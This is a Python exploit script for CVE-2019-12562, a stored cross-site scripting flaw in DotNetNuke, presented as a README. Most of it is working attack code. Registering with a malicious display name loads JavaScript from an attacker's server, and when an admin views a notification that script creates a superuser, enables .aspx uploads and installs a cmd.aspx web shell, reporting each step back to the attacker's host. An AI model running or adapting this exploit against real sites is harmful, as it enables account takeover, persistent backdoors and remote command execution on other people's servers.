README.md
Rendering markdown...
# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
# Exploit Description : This exploit will add a superuser to target DNN website.
# Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
# Exploit Author: MAYASEVEN
# CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
# Github : https://github.com/MAYASEVEN/CVE-2019-12562
# Website : https://mayaseven.com
import urllib.request
from bs4 import BeautifulSoup
####################################################################################################
################################## Config the variables here #######################################
####################################################################################################
TARGET_URL = "http://targetdomain/dnnsite"
USERNAME = "MAYASEVEN" # At least five characters long
PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
EMAIL = "[email protected]" # Change email to any you want
# A web server for listening an event
LISTEN_URL = "http://yourdomain:1337"
#####################################################################################################
#####################################################################################################
#####################################################################################################
# Payload to add a superuser to website
PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>"
FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
var xhttp = new XMLHttpRequest();
var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp1 = new XMLHttpRequest();
returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
returnhttp1.send();
var xhttp2 = new XMLHttpRequest();
var userId = JSON.parse(xhttp.responseText).userId;
xhttp2.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp2 = new XMLHttpRequest();
returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
returnhttp2.send();
var reconfig = new XMLHttpRequest();
var aspxconfig = "{'DisplayCopyright':true,'ShowCriticalErrors':true,'DebugMode':false,'RememberCheckbox':true,'AutoAccountUnlockDuration':10,'AsyncTimeout':90,'MaxUploadSize':28,'RangeUploadSize':28,'AllowedExtensionWhitelist':'jpg,jpeg,jpe,gif,bmp,png,svg,ttf,eot,woff,doc,docx,xls,xlsx,ppt,pptx,pdf,txt,xml,xsl,xsd,css,zip,rar,template,htmtemplate,ico,avi,mpg,mpeg,mp3,wmv,mov,wav,mp4,webm,ogv,aspx'}";
reconfig.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp3 = new XMLHttpRequest();
returnhttp3.open("GET", '"""+LISTEN_URL+"""/Aspx_upload_file_allowed');
returnhttp3.send();
var upload = new XMLHttpRequest();
var uploaddata = "Url=https%3A%2F%2Fraw.githubusercontent.com%2Ftennc%2Fwebshell%2Fmaster%2Ffuzzdb-webshell%2Fasp%2Fcmd.aspx&Folder=&Overwrite=true&Unzip=false&Filter=&IsHostMenu=true&isHostPortal=true";
reconfig.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp4 = new XMLHttpRequest();
returnhttp4.open("GET", '"""+LISTEN_URL+"""/Web_shell_uploaded');
returnhttp4.send();
}
}
upload.open('POST', '"""+TARGET_URL+"""/API/InternalServices/FileUpload/UploadFromUrl', true);
upload.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=UTF-8');
upload.setRequestHeader('RequestVerificationToken', token);
upload.send(uploaddata);
}
}
reconfig.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Security/UpdateOtherSettings', true);
reconfig.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
reconfig.setRequestHeader('RequestVerificationToken', token);
reconfig.send(aspxconfig);
}
}
xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp2.setRequestHeader('RequestVerificationToken', token);
xhttp2.send(params);
}
};
xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp.setRequestHeader('RequestVerificationToken', token);
xhttp.send(params);
"""
def create_payload():
# Create a payload.js file
f = open("payload.js", "w")
f.write(FILE_CONTENT)
f.close()
def check_target():
global regpage
reg = urllib.request.urlopen(TARGET_URL+"/Register")
regpage = reg.read().decode("utf8")
reg.close()
if "dnn" in regpage:
return True
else: return False
def exploit():
# Fetching parameter from regpage
soup = BeautifulSoup(regpage, 'html.parser')
formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
param = {}
print(" [+] Fetching DNN random parameter name.")
for i in soup.select('input[name*="_TextBox"]'):
print(" [+]", i["aria-label"],":", i["name"])
param[i["aria-label"]] = i["name"]
ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
__EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
__VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
__EVENTTARGET = "dnn$ctr$Register$registerButton"
# Posting data to target
headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
data = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
response = urllib.request.urlopen(req)
if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
create_payload()
return True
elif "A user already exists" in response.read().decode("utf8"):
print(" [!] The user already exists")
return False
elif "The Display Name is invalid." in response.read().decode("utf8"):
print(" [!] DotNetNuke verion already been patched")
else: return False
def main():
print("[ Checking the target ]")
if(check_target()):
print(" [+] Target is DNN website.")
print(" [+] URL: %s" % TARGET_URL)
else:
print(" [!] Target is not DNN website and exploit will not working.")
return
print("[ Running an exploit ]")
if(exploit()):
print("[ Successful exploited the target ]")
print("> Creating a payload.js file in current directory.")
print("> You have to serve the web server and place payload.js on it.")
print("> And waiting admin to open a notification then the user will be added.")
print("> Web shell will be uploaded at URL: %s/Portals/_default/cmd.aspx" % TARGET_URL)
print("> Username: %s" % USERNAME)
print("> Password: %s" % PASSWORD)
else:
print(" [!] Failed to exploit the target.")
return
if(__name__ == "__main__"):
main()